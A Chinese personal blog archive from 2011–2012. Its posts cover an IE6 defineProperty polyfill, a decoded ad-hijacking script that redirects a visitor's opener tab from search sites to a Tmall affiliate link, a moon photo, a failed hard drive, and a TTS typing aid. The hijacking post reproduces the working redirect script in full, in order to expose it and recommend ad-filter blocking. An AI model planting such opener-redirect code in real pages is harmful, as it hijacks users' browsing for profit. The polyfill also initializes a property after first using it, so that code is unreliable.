07
2012

IE6 中的 __defineSetter__ 实现

Tags:

在 Firefox/Chrome 的对象原型上有一对方法 __defineSetter__/__defineGetter__ 用来设置在设置或读取对象属性时执行代码,使用它们可以来用模拟各种浏览器不支持的属性,也可以用来设置对象的自定义事件。

在 IE9 也有类似的方法,不过不是在对象原型上,而是 Object 的方法:Object.defineProperty。由于不在对象原型上,需要把对象作为第一个参数传递给函数,setter/getter 则和其它变量组成一个对象作为第三个参数。

defineSetter/defineGetter 和 defineProperty 都可以互相模拟实现。作为古老的、生命力顽强的 IE6 并没有类似的方法,只能有限制地实现部分功能。IE 独有的 onpropertychange 事件在 HTML 元素属性改变时触发,用它来模拟 defineSetter 功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
 * onpropertychange 模拟 defineSetter
 * author: z@rndz.org
 */
if(!Object.defineProperty && document.body.onpropertychange!=undefined){
	Object.defineProperty = function(obj,prop,desc){
		if('set' in desc){
			obj.property_define[prop] = desc.set;
			obj.property_define || (obj.property_define = {});
			obj.property_func || obj.attachEvent('onpropertychange',obj.property_func=function(e){
				e = e || event;
				Function(this.property_define[e.propertyName]||'').call(this,this[e.propertyName]);
			});
		}
	}
}

注:

  • 这个方法只适用于 HTML 元素
  • 只能实现 defineSetter,defineGetter 不能触发事件
  • IE8 也有 Object.defineProperty,但同样只适用于 HTML 元素
0
05
2012

天猫变

Tags:

最近上网的时候经常会跳出个天猫的页面来,刚开始以为是哪个网站漏网的弹窗,顺手就叉了!
以其出现的频率,很快我就发现,这并不是弹窗,更改来源页面的变相弹窗。
以 google 和天猫搜索,很快便得到一个目标“机锋网”(一个安卓主题网站,最近新换的xt615,所以搜到这个的概率比较大)。

在源码里搜索,跳转代码就在下面这个脚本里:

http://nv-gboy.googlecode.com/svn/trunk/navigatoral.js

脚本经过简单压缩,解压后内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
if ("undefined" == typeof(_5had0w)) {
    _5had0w = [];
    _5had0w.ssite = new RegExp("(www.baidu.com)|(www.google.c)|(www.youdao.com)|(search.cn.yahoo.com)|(search.yahoo.com)|(114search.118114.cn)|(bing.118114.cn)|(search.114.vnet.cn)|(bing.com)|(www.soso.com)|(www.sogou.com)|(www.taobao.com)|(gougou.com)|(www.gouwo.com)|(cache.baidu.com)|(m.baidu.com)|(baidu.asp)|(hao123.com)|(265.com)|(114la.com)|(115.com)|(etao.com)", "i");
    _5had0w.win = window;
    try {
        if (parent && parent.f && parent.document.getElementById("fulliframe")) {
            _5had0w.win = parent
        }
    } catch(e) {}
    _5had0w.getcookie = function(sName) {
        var aCookie = document.cookie.split("; ");
        for (var i = 0; i < aCookie.length; i++) {
            var aCrumb = aCookie[i].split("=");
            if (sName == aCrumb[0]) return unescape(aCrumb[1])
        }
        return ""
    };
    _5had0w.setcookie = function(sValue) {
        date = new Date();
        date.setMinutes(date.getMinutes() + 100);
        document.cookie = "oc_busy=" + escape(sValue) + "; expires=" + date.toGMTString() + ";path=/"
    };
    _5had0w.mall = "http://gomallg.blogbus.com/?76";
    _5had0w.np = false;
    _5had0w.nvIt = function(lochref) {
        try {
            _5had0w.win.opener.location = lochref
        } catch(e) {
            try {
                _5had0w.win.opener.navigate(lochref)
            } catch(e2) {
                try {
                    _5had0w.win.opener.opener.navigate(lochref)
                } catch(e3) {
                    _5had0w.np = true
                }
            }
        }
    };
    _5had0w.nvUrl = function() {
        var _co = _5had0w.getcookie("oc_busy");
        if (_co == "" || _co.indexOf("mall") < 0) {
            _5had0w.nvIt(_5had0w.mall);
            if (!_5had0w.np) {
                _5had0w.setcookie(_co + "_mall")
            }
        }
    };
    _5had0w.oload = function() {
        if (_5had0w.win.opener) {
            if (_5had0w.ssite.test(_5had0w.win.document.referrer)) {
                _5had0w.nvUrl()
            }
        }
    };
    try {
        if (document.attachEvent) {
            window.attachEvent("onload", _5had0w.oload)
        } else {
            window.addEventListener("load", _5had0w.oload, false)
        }
    } catch(e) {}
}

简单解释:
在网页打开后判断来源页面是否在指定列表里,如果是的话判断cookie(是否已经跳转过),对于没跳转过的页面使来源页面跳转到“http://gomallg.blogbus.com/?76”,这个页面再跳转到天猫。

要防止的话把这个脚本地址添加到广告过滤列表(推荐,简单)或添加 cookie(没测试)就可以。

吐糟……:
机锋网还有人在管理吗?又或者……这个问题应该有一段时间了,论坛上也看到有人提出(虽然只看到一贴……)!
AD还真是无孔不入,狂轰乱炸式的效果除了令人反感外真有那么好的效果?因为安全原因,主流浏览器默认禁止的好多JS方法,opener 也要这样??

5
26
2012

双星伴月,非专业拍摄

Tags:

在天台吹风的时候想起昨天在CB上看到新闻说今晚有双星伴月的天象。一时兴起,想给它拍下来。看看天空,看看时间,六点半,星星三两颗。下楼找找准确时间方位,西南低空,七点左右。顺便下个指南针(有备无患)。

再上天台的时候转一圈就找到月亮了(指南针什么的完全打酱油),也看到了两颗星星,就是下面那颗有点暗淡。

我拍,我拍,我再拍……狂汗,拍下来的都是斑点,月芽都变月饼了!

再下楼,看攻略(数码相机、夜空什么的)、找相机(太久没用,电池都快漏光了)、备份TF卡(相机不支持的HDD模式,另一张在手机里)。

到天台上用三爪鱼(买相机送的,懂吧)固定到栏杆上,调好角度,连续拍摄。

咔、咔、咔……就剩一颗星星啦!

这张手机上拍的,至少能看出来是个月芽……月饼就不上了

双星伴月,XT615拍摄

相机拍的,能看清楚,就是没什么感觉……

双星伴月,A800拍摄

0
15
2012

一个不好的消息!

我的笔记本进水,不知道该说幸运还是不幸,笔记本基本上没问题,除了硬盘。水通过散热孔进到硬盘的位置,硬盘的驱动电路跟泡在水里差不多。由于没有备份,Z小窗口短时间内不会再更新,另外 chrome 的侧栏书签当时上传不完整,下载来不能用,不用再下载了。

新硬盘已经到手,西数黑盘 WD5000BPKT。网上关于这块硬盘的信息不多,评价倒是不坏,只是实测结果只比之前的WD3200BEKT 好一点。

顺手又买了张三星 C10 的 TF 卡,标称读 24MB/s 写 21MB/s,实测读 19MB/s 写 18MB/s。

附:

西数硬盘产品型号规格

三星SD卡/内存/SSD 序列号验证

0
十二
18
2011

ImEReader,读你输入!

Tags:

输入大段文字的时候除了需要看着原稿外,还要看着屏幕防止输入错误。ImEReader 可以把你输入的内容读出来,使你可以专心看着原稿输入,而不用再看屏幕校对输入的内容。

注:软件使用微软 TTS 引擎,2000/xp 下默认没有中文语音,可以到下面地址下载。

http://g.iciba.com/dictdown/tts.html

下载 ImEReader :ImEReader (77)

1